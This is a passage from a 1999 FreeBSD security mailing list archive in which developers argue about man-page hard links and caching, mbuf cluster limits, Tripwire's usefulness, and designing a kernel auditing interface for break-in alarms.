OpenBSD does this to both by default now.) --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 19:29:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from forced.attrition.org (attrition.org [198.77.217.13]) by hub.freebsd.org (Postfix) with ESMTP id 4B97815249; Sun, 19 Sep 1999 19:29:09 -0700 (PDT) (envelope-from jobe@attrition.org) Received: from localhost (jobe@localhost) by forced.attrition.org (8.9.3/0.0.1.beta.nospam) with SMTP id TAA16046; Sun, 19 Sep 1999 19:32:34 -0600 Date: Sun, 19 Sep 1999 19:32:34 -0600 (MDT) From: Jobe To: "Rodney W. Grimes" Cc: Brett Glass , Neil Blakey-Milner , Matthew Dillon , freebsd-security@FreeBSD.ORG, Nik Clayton Subject: Re: Documentation of security features In-Reply-To: <199909191824.LAA55646@gndrsh.dnsmgr.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org And how is this security related? Maybe I am missing something. --Jobe On Sun, 19 Sep 1999, Rodney W. Grimes wrote: > > At 10:31 AM 9/19/99 -0600, Jobe wrote: > > > > >These files are 23k, are there really enough of them to take up 'Megs of > > >Space'? > > > > If it's done for every shell command, it'll take up a LOT of room. > > It has been done for every shell command, that was the new builtin(1) > that was just recently commited. And from a quick look there are > 78 of them, 78*23K is not a lot of space 1.8MB. But the bigger > picture is that when you now say ``man fg'' you should get the > new builtin(1) man page, which is far smaller (uncompressed: > -r--r--r-- 1 root wheel 7195 Sep 19 11:18 builtin.1). This > man page refers you to sh(1), or csh(1) for full details. This > should greatly reduce the size of the clutter (562KBytes uncompressed). > > Now there is one more problem, and that is what I think is really > going on here with the person reporting non-linked files. They are > looking in /usr/share/man/cat* at the formatted cache, now that can > grow as man(1)'s cache can't tell if the source files are hard linked > and generates an individual formatted copy for each man entry, even > if it already has it filed under another name. > > > > > > >People need to start posting more meaningful things, and stop > > >inventing reasons to post to this mailing list. > > > > Documenting key security options is meaningful, IMHO. If nothing > > else, we should add links for securelevel and similar things that > > users are not finding. > > Then go make ptx(info) produce the full blown permuted index again > and be done with it. That is the standard unix tool for finding > just about everything about anything in the manual pages. It has > been missing for far to long to ignore any longer!! > > > -- > Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 20:29:17 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 81CBC14BC6 for ; Sun, 19 Sep 1999 20:29:07 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id VAA20301; Sun, 19 Sep 1999 21:27:44 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id VAA28019; Sun, 19 Sep 1999 21:27:41 -0600 Date: Sun, 19 Sep 1999 21:27:41 -0600 Message-Id: <199909200327.VAA28019@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Brett Glass Cc: nate@mt.sri.com (Nate Williams), Wes Peters , "Rodney W. Grimes" , Warner Losh , security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: <4.2.0.58.19990919175752.04577a20@localhost> References: <4.2.0.58.19990918201409.047f9f00@localhost> <199909180612.AAA00597@harmony.village.org> <4.2.0.58.19990918093306.047917c0@localhost> <37E4449B.ADDD68EE@softweyr.com> <199909191933.NAA25843@mt.sri.com> <4.2.0.58.19990919175752.04577a20@localhost> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Break-in detection systems work very well in the physical world Not. My company is doing alot of work in this area, including trying to reduce the amount of false alarms and other useless information the #1 'security' product generates. > where -- > as we all know -- it's ultimately possible to break into nearly > anything if you employ sufficient force or defeat a perimeter defense. That's the point. The *hard* problem is making something sufficiently secure *AND* informing the person of the breakin while minimizing the number of false alarms. Also, breakins are *NOT* just gaining root access, sometimes it's as trivial as getting inside a network. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 21:13:25 1999 Delivered-To: freebsd-security@freebsd.org Received: from edslppp4.dnvr.uswest.net (edslppp4.dnvr.uswest.net [216.160.128.4]) by hub.freebsd.org (Postfix) with SMTP id CB4D814C17 for ; Sun, 19 Sep 1999 21:13:11 -0700 (PDT) (envelope-from geniusj@edslppp4.dnvr.uswest.net) Received: (qmail 70693 invoked by uid 1000); 20 Sep 1999 04:16:34 -0000 From: FreeBSD -- The Power to Serve To: "Joao Carlos" , , , Subject: Re: Out of mbuf clusters Date: Sun, 19 Sep 1999 22:15:51 -0600 X-Mailer: KMail [version 1.0.21] Content-Type: text/plain Cc: References: <000501bf030a$ac70e7a0$fa58dfc8@bahianet.com.br> MIME-Version: 1.0 Message-Id: <99091922163202.70436@phreebsd.org> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 CLONE huh? Well I guess I can help you anyway :).. There's another seperate option from maxusers to raise mbuf clusters.. use 'options NMBCLUSTERS=16384' or whatever number you want.. you can see how many you have by doing netstat -m. This should do it :) On Sun, 19 Sep 1999, Joao Carlos wrote: > I'm running FreeBSD 3.3-STABLE, and compiled a kernel with 64 maxusers. It > gives me somethink like 1048 processes. I don't know if it's a bug, or > whatever, but i got crazy when i tested a program called CLONE on a IRC > Server running i this machine. > Before arriving 1024 connections on te IRCD, (NOTE: nothing more like httpd, > squid, etc were running), The machine crashed, with the following message: > > Sep 19 22:30:04 unix2 /kernel: Out of mbuf clusters - adjust NMBCLUSTERS or > increase maxusers! > > well, i recompiled the kernel with 512 maxusers (more than that config gives > warning... why?). > > I was waiting that at least more tha 1024 connections it would support, but > with a little more than 980 (couldn't get the exact number) the machine > crashed with the same message. Well, with 512 maxusers i have more than 8000 > processes... so.. why this? why does config warning abou kernels with more > than 512 maxusers? > I know that IRCD can have a bug that does not support more than 1024 > connections, but i think the FreeBSD boxes does not have to crash. The > machine goes down booting without umounting, and then i have to check forced > my disks. > > Can anyone tell me why is it happening? I'm afraid this can get something > exploitable for iRC Server machines!!!! > > Thanks > > Joao Carlos > jcarlos@bahianet.com.br > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message - -- - ----------------------------------------------------------------------------- Jason DiCioccio | geniusj@ods.org FreeBSD - The Power to Serve | http://www.freebsd.org PGP Key ID: 0xA96A4C04 | http://www.ods.org - ----------------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.1 iQA/AwUBN+WnEHJvJ3WpakwEEQJtzACeKXk5aCq6bAzsYGEhKnEWwsJI9w4AoO82 UGL5uikzujAxIbCHxW+ZbC4B =EEiW -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 21:27:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id 0D9E9156DB for ; Sun, 19 Sep 1999 21:27:32 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #2) id 11Sv2z-0007S2-00; Sun, 19 Sep 1999 22:27:25 -0600 Message-ID: <37E5B7AB.58601187@softweyr.com> Date: Sun, 19 Sep 1999 22:27:23 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Poul-Henning Kamp Cc: Matthew Dillon , "Rodney W. Grimes" , Warner Losh , Liam Slusser , Kenny Drobnack , "Harry M. Leitzell" , security@FreeBSD.ORG Subject: Re: BPF on in 3.3-RC GENERIC kernel References: <14489.937722438@critter.freebsd.dk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Poul-Henning Kamp wrote: > > In message <199909190551.WAA68627@apollo.backplane.com>, Matthew Dillon writes: > > > It is especially important that system calls be constructed with > > future binary compatibility issues in mind, especially if they > > become widely adopted. > > You have not proved or even shown that changing this particular > element will be enough to guarantee that we can support other > protocols in the future. No, but he has argued that it is inappropriate to pass an IP address as a 32-bit int, even if it is intended ONLY for IPv4. I have to agree with that. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 21:34:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id C2B9714ED1; Sun, 19 Sep 1999 21:34:45 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #2) id 11Sv9z-0000kh-00; Sun, 19 Sep 1999 22:34:39 -0600 Message-ID: <37E5B95D.34FAFA61@softweyr.com> Date: Sun, 19 Sep 1999 22:34:37 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Brett Glass Cc: Matthew Dillon , Greg Lewis , Evren Yurtesen , freebsd-security@FreeBSD.ORG, Nik Clayton Subject: Re: Documentation of security features References: <37E21A0A.1075F204@ispro.net.tr> <4.2.0.58.19990917092237.044f3f00@localhost> <37E2C9B0.BD5846BB@softweyr.com> <4.2.0.58.19990919085106.047a5ce0@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brett Glass wrote: > > At 10:54 PM 9/18/99 -0700, Matthew Dillon wrote: > > > I did a quick look at 'makewhatis' but did not see any specific way > > to be able to embed keywords in a manual page outside the NAME section. > > You should see the way it's done for shell commands such as "fg"! The > *entire man page* is copied into another one with the name of the command; > that is, fg.1.gz is a copy of csh.1.gz! Very wasteful. Worse still, on > one of my systems that's been upgraded several times (and is currently > at 2.2.8 plus patches), the "fg" copy has gotten out of sync with the "csh" > copy; that is to say, they have different dates. > > bg.1.gz is ANOTHER copy of the csh page. And so are limit.1.gz, popd.1.gz, > etc. We are talking megabytes of waste here. No, Brett, you're completely, totally, and utterly wrong here: wes@homer$ ls -il | grep 404880 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 alias.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 bg.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 csh.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 dirs.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 fg.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 foreach.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 history.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 jobs.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 limit.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 popd.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 pushd.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 rehash.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 repeat.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 source.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 stop.1.gz 404880 -r--r--r-- 16 root wheel 23404 Feb 15 1999 suspend.1.gz As you can see, all of the above are links to the same man page. They do not take up any space, other than the i-node, and they certainly cannot get out of sync with one another. Welcome to UNIX, dude. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 21:59: 2 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 02C6A14C09; Sun, 19 Sep 1999 21:58:59 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id WAA08748; Sun, 19 Sep 1999 22:58:36 -0600 (MDT) Message-Id: <4.2.0.58.19990919223803.047ba320@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 19 Sep 1999 22:58:21 -0600 To: Wes Peters From: Brett Glass Subject: Re: Documentation of security features Cc: Matthew Dillon , Greg Lewis , Evren Yurtesen , freebsd-security@FreeBSD.ORG, Nik Clayton In-Reply-To: <37E5B95D.34FAFA61@softweyr.com> References: <37E21A0A.1075F204@ispro.net.tr> <4.2.0.58.19990917092237.044f3f00@localhost> <37E2C9B0.BD5846BB@softweyr.com> <4.2.0.58.19990919085106.047a5ce0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 10:34 PM 9/19/99 -0600, Wes Peters wrote: >No, Brett, you're completely, totally, and utterly wrong here: Actually, I was looking in the wrong place. I was in the "cat1" directory instead of the "man1" directory. But what I found still matters; see below. >As you can see, all of the above are links to the same man page. They >do not take up any space, other than the i-node, and they certainly >cannot get out of sync with one another. The originals can't, but the cached, formatted versions of the pages can. That's where the synchronization problems and unnecessary duplication are occuring, as it turns out. What's more, there are more cache misses; time is wasted reformatting pages that would otherwise been available right away. A LOT of time, since groff is as slow as molasses in winter. There's a pretty easy fix, though. Turn the hard links into symlinks (I can't do this, but a committer can). Then, make man recognize symlinks and follow them to their sources before opening a page. (This can be done as a one-line loop, or, to avoid problems with circular references, dereference only once.) Problem solved, and we can start adding links for things like "securelevel" without cluttering the cache. > Welcome to UNIX, dude. Thanks for the welcome, but you're a tad late. I first used UNIX in 1977. ;-) --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 22: 2: 3 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 8752615B9D; Sun, 19 Sep 1999 22:01:53 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id WAA57539; Sun, 19 Sep 1999 22:01:15 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909200501.WAA57539@gndrsh.dnsmgr.net> Subject: Re: Out of mbuf clusters In-Reply-To: <99091922163202.70436@phreebsd.org> from FreeBSD -- The Power to Serve at "Sep 19, 1999 10:15:51 pm" To: geniusj@suarez.bestweb.net (FreeBSD -- The Power to Serve) Date: Sun, 19 Sep 1999 22:01:15 -0700 (PDT) Cc: jcarlos@bahianet.com.br (Joao Carlos), stable@FreeBSD.ORG, questions@FreeBSD.ORG, security@FreeBSD.ORG, hitech@bahianet.com.br X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Please don't sign things on here with tools that are not in extremly wide spread use. It causes some of us pain when we attempt to read your mail. -- Start of PGP signed section. -- End of PGP signed section, PGP failed! -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 22: 4:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id 7C25F156C6 for ; Sun, 19 Sep 1999 22:04:50 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #2) id 11SvdB-0005Nj-00; Sun, 19 Sep 1999 23:04:50 -0600 Message-ID: <37E5C070.7BB582A5@softweyr.com> Date: Sun, 19 Sep 1999 23:04:48 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Nate Williams Cc: Brett Glass , "Rodney W. Grimes" , Warner Losh , security@FreeBSD.ORG Subject: Re: Real-time alarms References: <199909180612.AAA00597@harmony.village.org> <4.2.0.58.19990918093306.047917c0@localhost> <37E4449B.ADDD68EE@softweyr.com> <4.2.0.58.19990918201409.047f9f00@localhost> <199909191933.NAA25843@mt.sri.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Nate Williams wrote: > > Case in point. Tripwire is *NOT* a breakin-avoidance system, it's a > breakin-detection system. Right. As a definition, a breakin-avoidance system would be able to recognize an attack underway and *harden* the system to resist futher attack. > Breakin detection systems are at best poor > and at worst useless, and so far no-one has found a way to make them any > better. :( "Be the best of what you are, even if what you are is no good." -- Ashliegh Brilliant -- ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 22:26:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from forced.attrition.org (attrition.org [198.77.217.13]) by hub.freebsd.org (Postfix) with ESMTP id 8223114EAC for ; Sun, 19 Sep 1999 22:26:29 -0700 (PDT) (envelope-from jobe@attrition.org) Received: from localhost (jobe@localhost) by forced.attrition.org (8.9.3/0.0.1.beta.nospam) with SMTP id WAA19231; Sun, 19 Sep 1999 22:29:36 -0600 Date: Sun, 19 Sep 1999 22:29:36 -0600 (MDT) From: Jobe To: Brett Glass Cc: Nate Williams , Wes Peters , "Rodney W. Grimes" , Warner Losh , security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: <4.2.0.58.19990919175752.04577a20@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 19 Sep 1999, Brett Glass wrote: > At 01:33 PM 9/19/99 -0600, Nate Williams wrote: > > >Email is trivial to forge > > With strong encryption? > > >and/or snarf, > > Depends how it's done. > How about the fact that even a not so bright hacker given access to implement ip filtering rules can(and probably will) notice the encrypted SMTP traffic and just 'turn it off' in the filters, so to speak. Using any high level internet protocol, especially a widely known established protocol like SMTP, to transmit security sensitive information pertaining to potential copromises is a _bad_ idea, as I have stated in previous messages. You are better off designing a new one-way communication protocol based on shared secret keys, with some sort of hashing to verify the contents of the packet. If the hash is off, or the packet is not recieved as sent, then an alert can be generated at the remote host, so you will either get the alarm, or get an alarm that states that someone is mucking with your transmitted alerts. Here's another idea though, if you guys are insistent upon using a high level protocol, why not use https? It's already designed for encrypted data transmission, it's fairly fast, and can most likely be configured to use non-standard ports. Not to mention the fact that you can bundle this with easily configurable auttenticated http. > >and is not > >secure by any stretch of the imagination. > > More strides have been made toward good security for e-mail than for > any other type of computer facility. Why? because e-mail is the thing > that people, overall, MOST want to be secure. > > That's the reason why I suggest it. It's not always the ideal method > for secure notification, but the ways of authenticating and securing it > are better developed than for other methods. So, it may be the best bet, > at least to start. > > >Case in point. Tripwire is *NOT* a breakin-avoidance system, it's a > >breakin-detection system. Breakin detection systems are at best poor > >and at worst useless, and so far no-one has found a way to make them any > >better. :( > > Break-in detection systems work very well in the physical world, where -- > as we all know -- it's ultimately possible to break into nearly > anything if you employ sufficient force or defeat a perimeter defense. > They're especially valuable in multi-layered security systems, where > they can detect a breach of an outer perimeter and report it before > an intruder can get through an inner perimeter. > Both of you are wrong here, tripwire merely serves as a frontline defense to thwart an unskilled hacker from attempting to backdoor the filesystem. I mean if I am given access to load an lkm, all I would then really have to do is write myself up an lkm that wraps stat() to return old filesizes, and not only will tripwire _not_ pick up the fact that the filesizes have changed but to the normal user the filesizes will still look the same as well. Also if a 'script kiddie' attacks your machine tripwire does you no good if he/she doesn't try to backdoor any of the binaries. Not to mention the fact that it's very visible on the installed system. Granted I'm not advising that people not use this software, however I'm merely pointing out that it's not a real means of break-in detection. > I think they're a valuable asset in the virtual world, too, especially > if used in conjunction with multi-layered security. In BSD UNIX, > "securelevels," immutable files, etc. are the as-not-yet-perfected > inner layer. > I think that perprocess capabilities would solve the need for an application like tripwire very nicely. If you can prevent processes from doing things they were never meant to do in the first place, software like tripwire would not be needed. For example, should login ever need to open connections to remote machines, or write to files? Granted tripwire is useful but I think it leaves the overlying problem in OS security design unresolved. The major security problem related to the *nix OS design is that arbitrary processes running as uid/euid 0 are given the ability to access any libc routine, any kernel system call, any ioctl(), load any code into the working environment etc. If people are really interested in the integrity of a working environment these are all issues that need to be addressed. OS security should not be defined in userland policies end of story. The problem is that most people(Sorry R. Watson) will not take the initiative to work on in kernel security policies, either out of lack of time, lack of ambition, or lack of skill. --Jobe > --Brett > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 22:30:39 1999 Delivered-To: freebsd-security@freebsd.org Received: from dt014nb6.san.rr.com (dt014nb6.san.rr.com [24.30.129.182]) by hub.freebsd.org (Postfix) with ESMTP id 360D814CC2 for ; Sun, 19 Sep 1999 22:30:36 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt014nb6.san.rr.com (8.9.3/8.8.8) with ESMTP id WAA15064; Sun, 19 Sep 1999 22:48:16 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37E5C9B8.2AE491B4@gorean.org> Date: Sun, 19 Sep 1999 22:44:24 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: Brett Glass Cc: freebsd-security@FreeBSD.ORG Subject: Re: Documentation of security features References: <4.2.0.58.19990919112902.0479f380@localhost> <4.2.0.58.19990919181430.045dd330@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brett Glass wrote: > If administrators can't find documentation, they won't be able to secure > their systems easily -- and FreeBSD will gain an undeserved reputation for > being less secure. Also, they'll ask the same questions repeatedly on mailing > lists, etc. > > Any failure of the man system to guide users to the right answer -- or even > give them a hint -- is something that should most certainly be fixed. Hence > my comments, which I think are very much apropos. And I don't see anyone disagreeing with you. So, instead of talking about it, fix it, then send in the patches. Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 22:34:26 1999 Delivered-To: freebsd-security@freebsd.org Received: from forced.attrition.org (attrition.org [198.77.217.13]) by hub.freebsd.org (Postfix) with ESMTP id 33BFA14E82; Sun, 19 Sep 1999 22:34:23 -0700 (PDT) (envelope-from jobe@attrition.org) Received: from localhost (jobe@localhost) by forced.attrition.org (8.9.3/0.0.1.beta.nospam) with SMTP id WAA19310; Sun, 19 Sep 1999 22:38:05 -0600 Date: Sun, 19 Sep 1999 22:38:05 -0600 (MDT) From: Jobe To: Brett Glass Cc: Neil Blakey-Milner , Matthew Dillon , freebsd-security@FreeBSD.ORG, Nik Clayton Subject: Re: Documentation of security features In-Reply-To: <4.2.0.58.19990919181430.045dd330@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 19 Sep 1999, Brett Glass wrote: > At 10:44 AM 9/19/99 -0600, Jobe wrote: > > >So enlighten me, what 'key security' options do the size of the documented > >man pages define? Is there some obscure denial of service attack related > >to the size of the man pages?!? And as for the links for securelevel and > >similar things, what the hell does this man page problem have to do with > >that? > > If administrators can't find documentation, they won't be able to secure > their systems easily -- and FreeBSD will gain an undeserved reputation for > being less secure. Also, they'll ask the same questions repeatedly on mailing > lists, etc. Ok, so exactly what security intensive procedures and protocols rely on the userland handling of a foreground and/or background processes. > > Any failure of the man system to guide users to the right answer -- or even > give them a hint -- is something that should most certainly be fixed. Hence > my comments, which I think are very much apropos. As I have stated in prior mails to this list, THIS IS NOT A SECURITY ISSUE. The location and handling of the csh and related man pages IS NOT A SECURITY ISSUE. You need to familiarize yourself with the other freebsd mailing liss, such as: freebsd-bugs freebsd-chat freebsd-questions This sort of mail needs to be directed to the appropriate lists. --Jobe > > --Brett > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 22:47:57 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id C322E152EF for ; Sun, 19 Sep 1999 22:47:51 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id WAA57682; Sun, 19 Sep 1999 22:47:46 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909200547.WAA57682@gndrsh.dnsmgr.net> Subject: Re: Real-time alarms In-Reply-To: from Jobe at "Sep 19, 1999 10:29:36 pm" To: jobe@attrition.org (Jobe) Date: Sun, 19 Sep 1999 22:47:46 -0700 (PDT) Cc: security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [CC: trimmed] ...[chop off stuff that we have been over enough]... > [Skip a bit more off the front of this paragraph and get to the meet of things] > If you can prevent processes from > doing things they were never meant to do in the first place, software like > tripwire would not be needed. For example, should login ever need to open > connections to remote machines, or write to files? Granted tripwire is > useful but I think it leaves the overlying problem in OS security design > unresolved. The major security problem related to the *nix OS design is > that arbitrary processes running as uid/euid 0 are given the ability to > access any libc routine, any kernel system call, any ioctl(), load any > code into the working environment etc. If people are really interested in > the integrity of a working environment these are all issues that need to > be addressed. OS security should not be defined in userland policies end > of story. The problem is that most people(Sorry R. Watson) will not take > the initiative to work on in kernel security policies, either out of lack > of time, lack of ambition, or lack of skill. Your totally correct that until we eliminate the ``root has all powers, anyone else has limited powers'' methodology we will be a long way from a securable system. I know that the idea of implementing something along the process priviledge bits in VMS are something that the FreeBSD Principal Architect would love to see in a big way, as well as a dozen or so other people, myself included. However, the implementation of an auditing system should be doable pretty easily in the current system and gain us some functionality that we do not have, and should not need to be changed drastically if or when per process/user privilege becomes a reality, other than it will probably take a privilege to access /dev/audit :-). So lets get back on track and talk about how to implement a real time auditing system in the kernel. Lets forget about any user land consumers of this interface, other than to design the interface in as secure manner as can be given the tools we have today. Lets forget about email and networks, and transports and all that stuff that we already know are not securable _at_ _this_ _time_, and get on with /dev/audit. If someone wants to start the ``per process privilege'' thread up, please do by forking this thread with a subject rename. -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net Go really fast forward, if you hit a wall, pick up your bits, turn left 90 degrees and do it over... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 23: 5:32 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 61C6F1504D for ; Sun, 19 Sep 1999 23:05:29 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id AAA21824; Mon, 20 Sep 1999 00:05:28 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id AAA28878; Mon, 20 Sep 1999 00:05:27 -0600 Date: Mon, 20 Sep 1999 00:05:27 -0600 Message-Id: <199909200605.AAA28878@mt.sri.com> From: Nate Williams 